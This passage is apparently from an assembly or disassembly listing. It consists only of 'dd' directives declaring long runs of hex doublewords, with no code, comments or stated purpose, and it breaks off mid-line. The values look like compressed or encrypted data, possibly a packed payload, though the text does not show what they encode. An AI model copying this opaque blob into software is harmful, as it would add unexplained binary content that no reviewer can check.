2BC1D10Fh dd 8C5EE3A7h, 22E18B59h, 0BF661EBEh, 5658690Bh, 0E607DCD7h dd 9A3725F1h, 18E02EF5h dd 2B38950Bh, 0D009CF81h, 597EE080h, 13A6A4D7h, 0BDB89111h dd 0E93189D5h, 0BF2920C9h, 4A57F795h, 0EBE0D427h, 0D600937Ah dd 8E72E8CFh, 0F3A1F96Dh, 0ED7460FAh, 172A3041h, 0B073A7E2h dd 630EB01h, 0EF95BCE9h, 4925EC05h, 0A8BA7B1Ah, 0EA429D41h dd 2BC03157h, 5EAE171h, 0FB0EE089h, 0BF019993h, 437B126Ah dd 0B7B7022Bh, 0B8D696C5h, 0A8C32940h, 3F4C004Eh, 53C1D1B6h dd 1A05C9B5h, 56AA0E77h, 8380ECF8h, 0C5886559h, 430004F6h dd 0FA729CA4h, 79DB615Ch, 0E08B0EF9h, 5B235F0Dh, 90259650h dd 598B7BFAh, 12C41816h, 2CF5298Ah, 2AE3607Dh, 0F6B8598Ch dd 142B1C24h, 66A57E61h, 605ADB66h, 0ED0047F2h, 253A3B77h dd 8A243C42h, 76288DFEh, 7320574Fh, 3BAF2BFh, 50A7CE44h dd 74B058E0h, 122670FDh, 2D22E08Bh, 38670C44h, 0BF80391Bh dd 0AFF3F9ABh, 521C8C9Ah, 61495B51h, 2B6E658h, 0EC53C381h dd 0C1DE7E9Dh, 3684834Eh, 34D58029h, 52EC00F5h, 75034A97h dd 324A1690h, 1969FFC9h, 0BDF025BCh, 0D0BF0F2Fh, 22E120AEh dd 2298505Ch, 93E0B50Ah, 313B8D0h, 21BA9B4Ah, 6F8E0F59h dd 49EFD28Ch, 3898E387h, 889B61FBh, 12259578h, 0B2B92ED3h dd 8D31C1E5h, 392A1501h, 29A308C9h, 2B4D59FAh, 17213412h dd 172109FFh, 44771A5Eh, 6FD98CF9h, 414B4A0Eh, 0AE3B60F4h dd 5400760h, 617301EBh, 0FD1B8CC0h, 35C7DE01h, 5B80B363h dd 2676282Bh, 7C844384h, 0E2173921h, 6F5D040Dh, 10114066h dd 85170143h, 0A68B1569h, 0A002E64Ah, 12069085h, 12D3B8F8h dd 6A8AA5F6h, 0CE8083DEh, 32ECD508h, 0E48D834Ah, 4A493F30h dd 3B7BDD10h, 5545C8h, 0C0392031h, 592E337Fh, 4A969A00h dd 0F70FD15Ch, 0E29725BAh, 90B53FF0h, 387A3F8Fh, 13DF9FA8h dd 794AA1DFh, 8C16AC33h, 0CF57EC12h, 77A3F052h, 1D0E204Ah dd 0BB05A32Eh, 0A5766037h, 0EDB37721h, 8032342Bh, 7DC68104h dd 0FCE2AC4Bh, 725F9400h, 0EC65456Bh, 0C9D8A200h, 4F41F427h dd 9D233A7Fh, 5A4C17A0h, 31894A1Ch, 0F7B83829h, 1FD58D1Ch dd 6C76A980h, 99820FFBh, 59BF8543h, 321EB053h, 9BFFC883h dd 347D4E92h, 2ADAB115h, 86F64713h, 49183CE0h, 0A334964Fh dd 864849A8h, 0B3FFC312h, 6E4A47h, 0E77AAC00h, 0FF6967E5h dd 0A5B8334Fh, 0C4A9552Ah, 4510CD0Ch, 7BEFB886h, 56DF00D7h dd 5274739Eh, 8844D32Fh, 0D0007F13h, 0EBBDE01Bh, 18FB1E6Ch dd 0FC1A90C9h, 6D951C6Dh, 0E9EEE8C4h, 19752F5h, 39DBA1B5h dd 6C22EF80h, 71EDD0FFh, 25961640h, 0C9095B50h, 0A8FA53A5h dd 89F8D2FBh, 9616DE88h, 2356EC30h, 0E5C4002Dh, 0C6653726h dd 0B8095B71h, 76A0E9DCh, 1546D626h, 0B38D1F12h, 9571E79h dd 0E1EFD4Ch, 81B7255Fh, 42117D65h, 50C9017Fh, 0C2B00EBFh dd 7F0C311Ah, 92C0DCDBh, 16A8DBAAh, 59A0BA27h, 324200A4h dd 950A4189h, 4894CD00h, 935E0FC2h, 0BBFF2B21h, 95F42082h dd 33FF28A9h, 28C1E145h, 1C97752Bh, 2917524Dh, 0F9B1F30Ch dd 74FB3A02h, 0BED2133Bh, 52A8C734h, 0FA85A9A3h, 32000C7Ah dd 0B0B28557h, 8948DBB8h, 536B69DAh, 0F8B5AD52h, 0F3545700h dd 64830F98h, 0A2601B28h, 2E6F009Ch, 0B0FD345Dh, 0A83B05BDh dd 0D31D76h, 8A46DD88h, 592CEA83h, 9A60DE5Eh, 7638C01h dd 61716FF8h, 53D509C6h, 48417051h, 0A300E97Ch, 0BFF744A9h dd 5E0E146Ch, 0AC401233h, 89F6F5E3h, 0E9AEECA0h, 0FFF3ED1Ch dd 0A1BD0344h, 5228D4ACh, 5FBA84EFh, 0F356805Fh, 19050C02h dd 85950141h, 87A8DB94h, 0F1E489CEh, 5090051Ah, 0B0EB5E8Dh dd 1FEF6586h, 0EE4E2855h, 19C90AF7h, 897049E5h, 40966F95h dd 505AD351h, 0D7627D12h, 105DE009h, 0C2DEBF82h, 4C74B8A8h dd 1DE1374h, 725DB46Ch, 0E26345D1h, 372F7056h, 0BB710195h dd 52D5B9D1h, 617FD8ECh, 279E0D02h, 0E3198260h, 66757A50h dd 13617926h, 0BD90F2B3h, 5558B852h, 40808825h, 27D7DB81h dd 10D21534h, 34B8E6ADh, 66F5DB25h, 0F8521298h, 5876B35Bh dd 0C6BFC4BBh, 4AAEE380h, 3A5E0044h, 63B42AEAh, 402A260h dd 0FF76F0DFh, 0DC1D5CD1h, 0E88CB800h, 832B97C9h, 254A9055h dd 0AE670B21h, 0EF2DBC1Ch, 312840E7h, 0A70F459Dh, 102DB501h dd 0A6026A16h, 82D9E02Bh, 9236014Fh, 50FC3170h, 92993953h dd 6125DAF3h, 22AC217Ch, 38CA09DEh, 57DDA3h, 28B6BFE5h dd 0F64F5B99h, 3017B20Fh, 2C2C4C95h, 3F26F021h, 2019C2h dd 342C8EBBh, 0C3E93109h, 620F710Dh, 231F74C2h, 395A81CDh dd 7BFA8DDAh, 81A80CC4h, 835E1D27h, 2DD0C1E0h, 8FE0A3h dd 0FB89BCDDh, 312C7C52h, 0A549F913h, 7C23FB1h, 0F6F8755Bh dd 0B19D09DEh, 0E3435C0Eh, 95F1D98Ah, 256C283Dh, 6ECF5E90h dd 36E314C0h, 0E10B41CEh, 46C67310h, 565A01E2h, 0F24ABA66h dd 0E9903A59h, 3CBB1CB8h, 9089E8B1h, 375DDC8Ah, 9D1811E0h dd 0A232E5C2h, 113757EEh, 4F9F1D11h, 9E831E3Fh, 35C164B1h dd 36883B77h, 4BCB0055h, 489C3A60h, 0F9098B7Ah, 71CDF413h dd 12899669h, 205FEF45h, 70FAD367h, 2B178434h, 6A046B3Eh dd 0DEEB0D3Dh, 989480C0h, 4F17E463h, 0B694124Fh, 14A106Eh dd 0B9852908h, 282E4AFh, 42D8E53Eh, 46060B1h, 1D03987Eh dd 1B998695h, 71E7CA3Bh, 853182EAh, 5B02099Dh, 0A2D35CB0h dd 49A4A089h, 98568215h, 5109DE90h, 69D12960h, 46E18100h dd 25134702h, 0A5C95B61h, 0A3BF10F3h, 314325C1h, 89F99FC1h dd 7313115Ch, 7FF26A0h, 0E95D8509h, 0E2259471h, 57E10920h dd 78AFA8h, 9C1E2783h, 1000620Ch, 63B7AD8Ah, 0E881D9B5h dd 0FB53041Fh, 0A260C82Bh, 2A2400F1h, 1EC7E1AEh, 4691003Ch dd 0ABC40B36h, 0E4C48D8Ch, 0BDB861FFh, 0E0B78A2Ah, 0BB3197F5h dd 7A7102FEh, 7C02D88h, 51E7967Ch, 69380FAAh, 5FBB5AC7h dd 4AFEB720h, 0BA818BADh, 0E8E30F1Dh, 9B01A1F5h, 11A84CD1h dd 435249E9h, 42C677F9h, 0F90FCCBFh, 966B23Bh, 5C31759Dh dd 4725C45Fh, 0A5B5D7B3h, 57FE2300h, 120BE781h, 0A5A5CA9h dd 1D75957Fh, 9B53ED0Fh, 13C96C25h, 7A4BFC48h, 0EE5504E7h dd 0A5C0F371h, 0BF6A8DD5h, 0B480BEB7h, 115BB830h, 0B986A039h dd 0A6599F2Bh, 4AC4DA47h, 481AEA0h, 634EFAF3h, 4EA4B80Ah dd 0A602006Eh, 0FCF8E7D7h, 9DC735Ch, 82738C71h, 75E5D072h dd 6D82A29h, 0E8144AA5h, 1D23ABAAh, 0B6BF803h, 0AA4C99DBh dd 94401A20h, 8AC340ADh, 0DB092C7Eh, 0DC3A07DAh, 3639DC57h dd 0B599A4E8h, 880DD804h, 2D147BBBh, 0AD28E0E3h, 4A82822Ah dd 4FDC61C2h, 1D46D6h, 964F6285h, 17C06C35h, 0A823BDE8h dd 20198EAFh, 47A2F54Ah, 3FD9091Bh, 2E7BC77Dh, 198A732Fh dd 2FFEF2FFh, 0D2642E2Bh, 0E91FD55Dh, 967B84Eh, 0B03ABC98h dd 80442879h, 0BB2B8857h, 0AA260E00h, 64F81297h, 195D9F98h dd 0DA2B1E10h, 0C215886Ah, 2B5E8A7Fh, 5174F3E9h, 0A79AC028h dd 93BBC09h, 815780AEh, 9977AEBh, 0E1FF5F03h, 3AD81055h dd 9F0D0128h, 0AE1BE6AAh, 0BD8C7F80h, 3594975Fh, 0FB8B5744h dd 0CE6B1CF5h, 45F127Ah, 79E886BDh, 0AF3BF675h, 6A648513h dd 0C48170C5h, 382F233Dh, 6088F13Ah, 200809BAh, 0D8B3147h dd 0D077709h, 0E9F3DB61h, 25EB6E70h, 18E25387h, 1DDB757h dd 0E2279755h, 0FDD3C878h, 1AC4C54Bh, 0F7B804ADh, 931073Bh dd 7A863550h, 3B38450Ch dd 64A3D412h, 0E7F3A05Fh, 0E994104Bh, 80C29EABh, 16506D9Ch dd 274B74F2h, 77E5800Fh, 702EB1Ch, 584341A0h, 5D379589h dd 0EDE02B06h, 8CE718BEh, 820F468Ah, 0A0E82744h, 32AC3Eh dd 26CBBA43h, 0A3F827CDh, 0C0DE1D48h, 0D39F0C07h, 78A00008h dd 3F6C3AD0h, 9700D716h, 5BC72EB9h, 0F41C68h, 61BFF0F2h dd 81488A6Dh, 0FE3BEC3h, 0BD29902Ch, 0CB095FF1h, 0CDF64AE4h dd 0C29228A0h, 0EC1236FCh, 0B2F87985h, 392FC2D4h, 0B5554F29h dd 961A113Eh, 0E9E461EEh, 8CF73F9Eh, 29E855B3h, 599709B5h dd 0B6810BBDh, 12B869BDh, 41BEE039h, 0ED9D236Ch, 13742F1Ah dd 0F993EAACh, 79DBC39h, 0F9C85894h, 9FF85922h, 0CDD264Bh dd 4E92644Ch, 64C5BFF1h, 12249087h, 97DBA71Dh, 241E7C78h dd 0EBD08ACBh, 0AB804437h, 0C5923D1Bh, 0D64800E8h, 9D89F950h dd 0A7C50DDDh, 0AB800446h, 3AB796DBh, 0C85B507Ah, 65FA33EEh dd 3FDE3Dh, 0F0863A02h, 0E4D64CB7h, 1A0E04A7h, 0BC5BADF6h dd 0A67B5F41h, 14E40204h, 388EF8Bh, 0A830F768h, 92DFF6DCh dd 9D3C01B3h, 0EB802392h, 0D1322E96h, 0E6E32Bh, 7FBF90D7h dd 500923D3h, 0D63DB73Ch, 9CC8F0A0h, 7FB90076h, 61ADA432h dd 0CD1FBBBAh, 4C279821h, 62C300A9h, 66165C78h, 942F34BBh dd 72C15B61h, 4A2AB4F8h, 0F4E8830h, 0E02BFAD9h, 61E4B073h dd 0DF8B0E4Bh, 0C580365Ch, 59A77D5Fh, 0A9C47112h, 668B39E2h dd 6E0948BFh, 7193E4BDh, 0D8D5004Ch, 0AD53B9D2h, 619704E6h dd 5F0032D9h, 0DB9D49E9h, 0E0E8D84Ah, 150CE930h, 0F0F1E276h dd 0EADC39A3h, 0D0611274h, 0AE3BF30Dh, 8C2CBF41h, 4B800EC8h dd 93BD981Eh, 67DC008Eh, 0CD8A30F6h, 94973F43h, 0B7EC7432h dd 83AC3C10h, 0DA9AF2A5h, 0F99DE225h, 88579319h, 0DD00329Dh dd 470FA121h, 12803EBEh, 0AB89B723h, 4482BF4Eh, 1BC5B1Dh dd 2EFA52D9h, 8D296C31h, 742E04FDh, 0C40C9BE3h, 0E382BC5Dh dd 0DFEBC260h, 0C20082C5h, 404F3C7Ch, 258C0163h, 3679F764h dd 66822014h, 512E1B00h, 0A359BA3Fh, 0BD5A4A12h, 33344E12h dd 5E751F82h, 376A5299h, 746BEE56h, 6BE227D1h, 91FD3555h dd 2E098117h, 11685FD7h, 9B71142Dh, 0B1355D69h, 983E8601h dd 2A035FDDh, 2910C18Dh, 979C6B0Bh, 0D1BD1733h, 0D4ABB91Ch dd 0A8110DAh, 0E6E2C54Ah, 0D7B0E1C0h, 0BA8F342Ah, 2050B891h dd 90F13836h, 7CCD3BD0h, 0E798522Bh, 44DA4F06h, 997F78Ah dd 0F673EC68h, 0DD181559h, 54EB661h, 0BB3B6A7Bh, 8212CE6Eh dd 0ACD5B963h, 73038C18h, 6FEF9FF8h, 1EAF9881h, 0B60F4A96h dd 2C30B492h, 2E71F74Ch, 893133Ah, 330E23B5h, 1222E89Dh dd 2C84A396h, 2A0F6B50h, 10A697D6h, 0F9C441E0h, 397A6612h dd 55BFD371h, 0EA08252Fh, 1C01397Ah, 0E2FF921Fh, 41F22AE0h dd 8100E2DFh, 54FE69D3h, 38BF9625h, 2808DD5h, 0CA58BB50h dd 2EF93B72h, 9BDE560h, 49319913h, 3257A009h, 3D46400Bh dd 94CD9520h, 0B0E09AE8h, 25AC0D8Fh, 825BF1A3h, 50C973A5h dd 8A02B676h, 0CF26AD93h, 0E351F438h, 0C54C28E9h, 59072553h dd 0AEB55287h, 0F079EA8Bh, 7F4D9539h, 0AF601664h, 3115B773h dd 18F4FD85h, 132308E8h, 848702C6h, 0BD10CB5Ch, 81800BF1h dd 0DDC9EFDFh, 0C65F255Dh, 0D30995BDh, 708756F2h, 3204F07Ch dd 0F353E96Bh, 7DAD0813h, 29C18B8Bh, 8FE7594Fh, 902BC780h dd 887A9018h, 0A80083F0h, 6EBD750Eh, 82561Bh, 0BC1CEF36h dd 0E37FF0DEh, 0F820504Fh, 224A8E9h, 684BD370h, 667D4ACFh dd 5F50091Bh, 54FC905Bh, 0FA7D070Dh, 0E14AA62Bh, 172FCBA7h dd 7F30AE22h, 24B738FEh, 1B48C84h, 36AB2924h, 0DEA9F5Bh dd 89E04C17h, 45471251h, 7AEBE14Dh, 0B80B226Eh, 0C4DE6B57h dd 935B708h, 1A7D585Ah, 0B66ED7CDh, 175179B5h, 0CCC0C490h dd 0BD7809D7h, 440844EDh, 0B860EF93h, 8951C4B7h, 0AD0B24FBh dd 955299BCh, 0D1FFE851h, 121E756Ah, 8E8DB301h, 95FD1784h dd 0DC093AE8h, 0B7026A53h, 30E8800Eh, 4B6D794Ch, 906EF205h dd 1DEF47B7h, 0E237AF03h, 258B541Ch, 7573231h, 7404F7A9h dd 0C8A198Ch, 517DF90Dh, 0FD05D31Eh, 15E95B35h, 17B038ABh dd 0B79F2390h, 74278089h, 82525936h, 0A5207EB0h, 0F1315107h dd 1C4577CEh, 2B233988h, 0DCCB002Ch, 441D41B2h, 526A9B0Eh dd 54A645B5h, 19EC74E9h, 0CA94F700h, 515260B0h, 805F0459h dd 0B961A7F3h, 16A5913Fh, 0A8C8D0h, 0B673125Fh, 3016E22Ah dd 2A4D6376h, 95098599h, 302B6B8Dh, 32699D1Dh, 0B5290D84h dd 0D8290D55h, 0EFB70915h, 5151492Eh, 566449h, 0A455C344h dd 3DB07DBEh, 2AE0694Ah, 427012CFh, 2218E65Bh, 0FA9A9531h dd 0DE36855h, 0FBB2840Bh, 0DB601B27h, 9F851096h, 1081A64h dd 40F8BE24h, 0E4E26122h, 36E1714Eh, 0F4FE482Ah, 2A316AB1h dd 2A51C96Ah, 212ACC8Dh, 60BBB3FEh, 64BF0B0Fh, 809559h dd 11C98501h, 90C77195h, 30AAD78Dh, 8AF38134h, 0C82BB002h dd 880C8C0Fh, 6640665Fh, 95B5AAB8h, 21DBF48Ch, 0D72C2EBFh dd 4B61C6F4h, 0A2B664E9h, 93C07D76h, 0EE62B4BFh, 3059770h dd 0C28C233h, 5E4DFD56h, 0F23A16C5h, 0B2EAD3C2h, 5AE91723h dd 19D5BB31h, 83B7A26Bh, 126E36BBh, 0B6161D20h, 0B73B22E9h dd 347D4058h, 0B1B4074Ah, 6C294565h, 78A2801Dh, 1FE71D22h dd 804B09DEh, 0CE69C4B1h, 60190BB2h, 0ADCE57FAh, 415FAF53h dd 123E7CCAh, 0BFFA6CEh, 0DC4C055Fh, 0ACD461FAh, 44E06FB8h dd 0C2709DF9h, 6171722Dh, 56EE8B25h, 14A551C9h, 0CFE243F6h dd 0B30EDF56h, 39B676BCh, 48B38BE0h, 93BABB01h, 0B89B58DDh dd 0E72E3F36h, 0C94225B4h, 0CABDFFh, 9F78A576h, 475A3E6Fh dd 872547E8h, 0B5A7E96Dh, 0DFFD003Ch, 0CA7CF8BBh, 4842A5Fh dd 95E960BAh, 8A9E29F1h, 57880D42h, 0B57FD01Ah, 811791D4h dd 647A5330h, 0F3EC5F20h, 7DD49D6Ah, 0FE0A8A2h, 0DD07536Bh dd 5C3757C1h, 0F9BFA74Ch, 0CAF67AB6h, 9FD500D4h, 0F3478A22h dd 605E0CBDh, 0FDF8BE89h, 0A3D93EA7h, 5C7ADB03h, 0B1C825E1h dd 0D0B3AD3h, 5D860F58h, 614FD996h, 2E210F6h, 6F6050E1h dd 5E1EBF44h, 80D9D0AAh, 2BE9A2F6h, 0E192FD28h, 0A049B72Eh dd 2E83361h, 8CF4C4B6h, 8B46EEE4h, 0F352512Eh, 26417227h dd 12535F5Bh, 0A72E5205h, 0F56A5EFEh, 0B318E01h, 0CB9C8FD9h dd 13355C13h, 0EAE134AFh, 0C2F616Ah, 0DBBA3910h, 79B95802h dd 5C920250h, 1444510Fh, 52A209ACh, 8DB7BF20h, 167675A6h dd 0CA184CF2h, 5861A7Dh, 13B3D42Fh, 8164DB60h, 0E412EB5Bh dd 2CDF56C6h, 302DDE35h, 938D910h, 87DE7865h, 0C3A92316h dd 12A66B96h, 0D0B4A8ABh, 0D3884A01h, 0E7BD29E6h, 0CEF1A1DCh dd 3B555277h, 0F18AB010h, 0AE739561h, 53181B59h, 1D337D3Eh dd 135273DDh, 0DF502EE3h, 81F98801h, 0D404C37Ah, 60905859h dd 0F00C4E2h, 1047A1E9h, 365C9AF9h, 153A0B3Ah, 0EC2A985Bh dd 2C2009DEh, 4B541F95h, 0F390FE8Bh, 0DAE77050h, 80F3EB3Fh dd 0BD2DBFF5h, 0F4805750h, 152C318h, 0C6B6519Dh, 7E756805h dd 0A60877FEh, 85B78B02h, 8A07A254h, 0AFFAE17Dh, 0CE21912h dd 9189298Fh, 68BE1A5Ah, 0F4DE7625h, 0FD203B4Eh, 1D262E56h dd 4B599ACAh, 5E0170A7h, 3A7D3108h, 4BE9048Ch, 0BB0BD1C0h dd 0D756E6CCh, 31D0846Bh, 4DFB5ADh, 0AB0CF5BDh, 707C5F8Ah dd 99BA9521h, 90614CD7h dd 164AB53Ah, 577A467Bh, 57A4666Eh, 0D00F7BB5h, 7205CB36h dd 0CDB45C3Fh, 0AB1513BBh, 2012D636h, 96122F51h, 53305360h dd 6FD2BEh, 673E8F0Bh, 8B5A5E38h, 5E47CB48h, 0C815B120h dd 0B918388Ch, 23CCE88Eh, 0CF5C2820h, 0F704B41Eh, 966C7B49h dd 0B7F0BBEh, 60E4A954h, 1B046D95h, 0FC162C41h, 4C71FD5h dd 40E05925h, 0EA50DCBFh, 0D6B72F4Ah, 53C8512Dh, 5A1F4FB3h dd 69B85B58h, 7AD6416h, 2AD55634h, 5BDEE395h, 0D2BB3009h dd 5A2104CAh, 0C7365FCDh, 4ED2BC7Bh, 0F6620201h, 0D8242BC5h dd 0C018DBAAh, 5B53F82Ch, 1BDA690h, 7E9A314Fh, 0DFECA0BCh dd 0AE9C011h, 8FCC740Fh, 86752100h, 32695779h, 435456C4h dd 20C84401h, 812A2F37h, 46C7855Fh, 9085FD8Ah, 23C86BAAh dd 0D4490918h, 5E1E0955h, 848C431Eh, 803B15E8h, 0A02B2498h dd 0D77B8B61h, 0C1AA0229h, 0CD36D530h, 0FDD48ABCh, 4A26282Bh dd 0D898739Dh, 6D7C881Dh, 1641E934h, 0D32DDBFBh, 0C4C95FFAh dd 0E1E59D31h, 0DCDA3F74h, 8C1BF8h, 755D8986h, 0B126B7CAh dd 8BB35309h, 80CE15Bh, 8845E32Ah, 66E4A11Dh, 2B501B10h dd 38BE0BA0h, 1D0379E9h, 0B2E14E94h, 0DC840780h, 5E00A4F5h dd 578C159Ah, 5B13866Fh, 0A22788DBh, 8048EF3Eh, 85E7DA3Bh dd 39CA4382h, 3F800D95h, 5F762924h, 0F7758160h, 684E6216h dd 0D4612209h, 8D4B3A70h, 83B42C31h, 0C0D90D6Ah, 26999Bh dd 5BC075B3h, 0A8F78D59h, 65131225h, 9B1550C9h, 5CD92527h dd 1D46D68Ah, 7D2913h, 28EBD928h, 4B4EF174h, 5496F609h dd 0AEBE87A9h, 1B6157E1h, 8A173DC4h, 20AC96D8h, 25F28A5Fh dd 0B748C6F9h, 81814859h, 39E7A7CFh, 7DBDB240h, 54379712h dd 10801D91h, 1CAABD99h, 85CFA901h, 800F95FAh, 0EF59522Fh dd 32909E1Fh, 5191313Fh, 858B0817h, 27416225h, 5CEB445Ch dd 5D78DC50h, 0FA8CA01h, 8F7E3FC4h, 7D56DC3Ah, 62232EE1h dd 0D4FBCC33h, 4E42ACECh, 4F80CBDBh, 5B4148A9h, 8896A818h dd 0B50D096Ah, 0A73E9145h, 55515CF8h, 4EDE1200h, 85176Ah dd 0E3242972h, 705E2EBFh, 13B8164Ah, 0FB022117h, 0E8F61460h dd 0FE800083h, 0C2EB6B18h, 0B9036020h, 0D32E0DB1h, 43D6A1E9h dd 0F4693B61h, 12584BCh, 89655B56h, 2BF61815h, 695905EBh dd 0BF509240h, 4B4FD357h, 0DBC6C545h, 70388001h, 0DD73D007h dd 85098B60h, 8114A077h, 0E6E344EFh, 985B9D4Ch, 28A1C6A7h dd 95560B29h, 0C8701EABh, 0BDFF1495h, 0D35575C2h, 14C9709Ah dd 9AD41A30h, 0A983BEh, 28DEBB6Ch, 0B79671C7h, 0AD503A39h dd 2CD37CA0h, 8FC94E61h, 6161C05Eh, 34218909h, 0DA2A4571h dd 0C01DC8A6h, 0B5876DFDh, 0C0B27500h, 80AB8A7Eh, 63E19FE7h dd 3857C23Dh, 12C6BF40h, 0F60D1B68h, 301BB250h, 7503BF43h dd 0BA70D534h, 52DC5AFAh, 4A59B7DAh, 0B901E66Ah, 10517EAh dd 81CE89C5h, 0C44B7111h, 72FC573Bh, 0C31B3D2h, 1969B529h dd 0F66EE1C6h, 0F917F391h, 0CCA7912Ch, 3325C878h, 0D9127335h dd 2A7181Ah, 1B8FAEF0h, 665D4D81h, 17B0021h, 0A9A09F63h dd 0E7070A6Bh, 9E0E0335h, 0B21A7DDBh, 10F13978h, 9DF330E9h dd 0DCD28173h, 0C76FC180h, 80892C0Ch, 0D1EF6128h, 1C907A38h dd 791A5A3Dh, 0EC71F180h, 0B11F510Eh, 0A79DDA0h, 9F0466B5h dd 0CE00EEB5h, 20A3C49h, 0FC51214h, 0CD31FF8Bh, 992B13F3h dd 0D117898Eh, 7693550Eh, 5EFA083Ch, 0F481DA9Bh, 89853A9Bh dd 7FBD0B3Eh, 0E3170DAFh, 1DB30061h, 4B94C68Eh, 779D001Bh dd 19CE9EEBh, 853FEE61h, 891C9FD3h, 12F0CB6Fh, 0AE940FB6h dd 5F00147Ah, 4103F6C8h, 5CD694FCh, 0B1EB52AEh, 9F6E6FAFh dd 6BF77602h, 0F9F4B2C8h, 0D3797A40h, 4F360022h, 0F4747D1Ah dd 0BB16667Ch, 748331BDh, 8B90B80Ch, 1143BDF9h, 0CDA55E84h dd 0C673C1F3h, 0F03CAD67h, 2A2B9531h, 8006377Dh, 72A8573Fh dd 5165164Eh, 24929954h, 60F45C5Bh, 0AA0FCB81h, 0D3B57273h dd 2FD1880Bh, 1D4D024Bh, 71EC5C0Dh, 6209129Ah, 929654B6h dd 0BD8B0402h, 0F6900B15h, 9C7B42F4h, 0F6B52DC0h, 73C58095h dd 2862A740h, 22A95BA9h, 0CC80888h, 61608402h, 0B9A5E990h dd 2F6AFDC8h, 9DE6830Fh, 9F01A920h, 428AE61h, 2A09BBC1h dd 0F420A66Bh, 595EDCh, 4D80C8B9h, 0B57EC520h, 0CF319639h dd 0E912B6ADh, 0E257B892h, 0D6984219h, 0E617DE58h, 0B6E6658Bh dd 0F5E85E2h, 2A29E5E2h, 6FA53B84h, 0EB9F01E3h, 0C29DB4DAh dd 56824A46h, 0D26F25E4h, 91B5B2C3h, 352EF88Bh, 8D6FFEF9h dd 97C42702h, 0E45DA37Ch, 41D0B43Bh, 3E0EBC6Ch, 0CF01CBF1h dd 712F3369h, 32800F05h, 3BF3EC8h, 6A2E18ABh, 14DC22FFh dd 0EB35DF00h, 0C0761524h, 0F73B0012h, 0F4845F16h, 0B8050FCCh dd 5B18A160h, 0F95B4BBCh, 2EAC5A40h, 7359332Dh, 21012042h dd 919B5BDh, 38823C2Ch, 0CD7F08F5h, 0F08112ABh, 0A309161Ch dd 0DE5170E6h, 4BDA4056h, 9D005E31h, 3EDF125Ch, 17AED37h dd 0DCE4F781h, 0C65F2E78h, 230740D7h, 857A9795h, 0ED8D330Bh dd 0F7B15716h, 84C06CC9h, 7BC271Dh, 2AC51298h, 1605CE95h dd 2005A99Dh, 0ABEF819Dh, 18CAB512h, 4D210BF1h, 0C2D0287Ah dd 0B6EAFE04h, 16BC86D6h, 2BD88B05h, 748DEFC8h, 548AD1E8h dd 0F0531CFCh, 0B35F17D9h, 619F0D7Eh, 5072093h, 0F3B2244Ah dd 0F38B600Bh, 0D0F09BC6h, 0F3B4614Ah, 197725BFh, 101FF4C9h dd 3204D380h, 511145E9h, 0ED4EE0DDh, 0BE6C9D28h, 49D5BF00h dd 0B07A129h, 0AF7BBD67h, 48A451ADh, 30D90C96h, 15A0A51Fh dd 0D49589FEh, 9528BB2Dh, 98F54B6Bh, 0F401FDCh, 57F8B58Ah dd 3A97BFEEh, 37445FCDh, 8DFB912h, 67D17AEFh, 0DBE08F16h dd 4BA9F6E8h, 0EFD9841Dh, 0CC8590DBh, 0D342FD4Ch, 420C609h dd 0EED92204h, 8289C695h, 90B7FC27h, 579B2F00h, 0E2B1F4h dd 39541512h, 6A19D23h, 0BFAC484Bh, 1995FEC0h, 2D39EC9Eh dd 0A3848147h, 0C02BBF49h, 7E16E3Bh, 5A324D2Ah, 4BC95B5h dd 1A0B8FD4h, 0E4567C60h, 0A363902Dh, 3E0312A5h, 0D32CF6F3h dd 0E49738DAh, 0BD160146h, 0F0AD06D9h, 7550568Bh, 1FDA5F4Bh dd 6AC019C8h, 2691715Ch, 4585FA1h, 0BD74ADEBh, 0F26BD622h dd 94A21000h, 9529A9F7h, 7F7425E5h, 1CB2D6CBh, 1BDC230h dd 907BF05h, 3FC794F2h, 0EB09786Eh, 0EE714A47h, 7D098A47h dd 9000993Dh, 5EAE91B4h, 0E8095BFCh, 0C78180A7h, 389571C4h dd 0E75AB814h, 0DFA1B0E0h, 0E60A5AF7h, 3016B22Fh, 4F007DF7h dd 8160E1FFh, 2C2451EEh, 0BE6876EBh, 0B8613F13h, 5E272D42h dd 0B8B473C6h, 71D889C2h, 513544E9h, 25FFBCD2h, 0FDC57E56h dd 7C49D41Ah, 7604DC91h, 192B45C9h, 509ECC1h, 667BB1BBh dd 66600C04h, 0DB802B80h, 0F122FFFh, 0F1E033F6h, 255BBD33h dd 92B53E4Fh, 0E180F781h, 0AF6F7Ah, 0A26B41F8h, 5A3D1FADh dd 0CFE20CEh, 8300B1F7h, 8AAA5B9Bh, 0BF53685Fh, 4296F9DBh dd 0B514DAE0h, 2F8910D1h, 412B4F01h, 2BB373EBh, 4C87C635h dd 755B6279h, 1A64A66Dh, 0F2A0CB63h, 312EDEDFh, 0F502A37Bh dd 0DF0DAEBAh, 4E8FF529h, 0FB692553h, 67024A6Fh, 73D509E0h dd 2030451h, 0F09304A6h, 41A2F7h, 559E36Dh, 0CE2E0ED3h dd 50606912h, 26B8D3C7h, 0AE8517BAh, 68618A40h, 2E479E79h dd 1E80609Bh, 81B0BDC6h, 0D76586B8h, 6CF0645Bh, 0E65E4A46h dd 3016B220h, 0F9E84207h dd 24C95395h, 0BE3B02FEh, 0EF75C3E9h, 185960D1h, 0EE16BABCh dd 20F28488h, 0C08C1000h, 2C8571C8h, 511102FCh, 7170870Fh dd 0FF51955Fh, 0C07D0954h, 7C04A393h, 6CEA560Eh, 0BF12662Ah dd 63F3266Ah, 519D0B04h, 123F2910h, 4F60E3C1h, 0EED45780h dd 14E19189h, 0C7090D04h, 7B308513h, 2FB4890Fh, 9FDCCF61h dd 0B2C9A72Ah, 510D48BBh, 0B2504E86h, 8F950088h, 5EFD2218h dd 3E098B1h, 1FE0EDD5h, 968ACA76h, 2A342461h, 4DB881B9h dd 0BB9F6401h, 4BCA51F3h, 9DF8E760h, 4E70BA89h, 60924FB5h dd 66E11756h, 1095D895h, 32D59Dh, 0B47E1368h, 1204BBC2h dd 401BA246h, 6A85EC94h, 9513893Dh, 70AE142Dh, 0B9D78196h dd 7D58880Ah, 0F289FB90h, 7790E450h, 293300F0h, 0FBB30C7Bh dd 0E9E85A4Ch, 30622D30h, 95B87AFh, 0B19D0390h, 0DF8B24E0h dd 7749C891h, 5302EB35h, 0FD89F74Ah, 0F410B293h, 612C09A5h dd 0C253B42h, 3382E3C7h, 0D523759Dh, 495B1E9Ch, 33B370E7h dd 77318288h, 0E997EF09h, 0D8F4733Dh, 0BE2F3986h, 0FEA68BB8h dd 0DD60DFA8h, 14A7A149h, 0EEF560CDh, 